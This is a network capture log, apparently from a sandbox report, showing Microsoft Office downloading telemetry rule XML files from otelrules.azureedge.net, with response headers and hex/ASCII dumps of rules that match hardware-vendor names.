2024-10-31 06:15:07 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:07 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:07 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 3601e2f9-501e-0064-27bd-2a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061507Z-17c5cb586f67hfgj2durhqcxk8000000080000000000bk0m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:07 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:07 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:07 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061507Z-16849878b7898p5f6vryaqvp580000000a00000000005y3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:07 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:07 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:07 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:07 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 4d8b81f2-501e-0029-7c16-2bd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061507Z-15b8d89586f5s5nz3ffrgxn5ac00000009t000000000f2vk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:07 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:07 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:07 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c1e62926-201e-005d-3f75-2aafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061507Z-159b85dff8fc5h75hC1DFWntr800000000pg0000000042aq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:08 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:08 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:08 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061508Z-16849878b78p49s6zkwt11bbkn00000008t0000000009pvy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:08 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:08 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:08 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:08 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061508Z-16849878b78x44pv2mpb0dd37w000000016g00000000brr1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:08 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:08 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:08 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:08 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061508Z-16849878b78sx229w7g7at4nkg000000078000000000qbkg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:08 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:08 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:08 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:08 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: f3394f62-601e-0070-07f3-2aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061508Z-16849878b78j7llf5vkyvvcehs0000000aag00000000097c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:08 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:08 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:08 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a96fbf53-401e-0016-5d5d-2653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061508Z-16849878b786lft2mu9uftf3y40000000afg0000000019w9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:08 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:10 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:10 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 82dd15c7-901e-0064-46c7-2ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061510Z-159b85dff8f9g9g4hC1DFW9n70000000014g000000005uum x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:10 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:10 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:10 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:10 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 99f07890-301e-0051-29d2-2538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061510Z-16849878b78qf2gleqhwczd21s00000009cg000000003qs8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:10 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:10 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
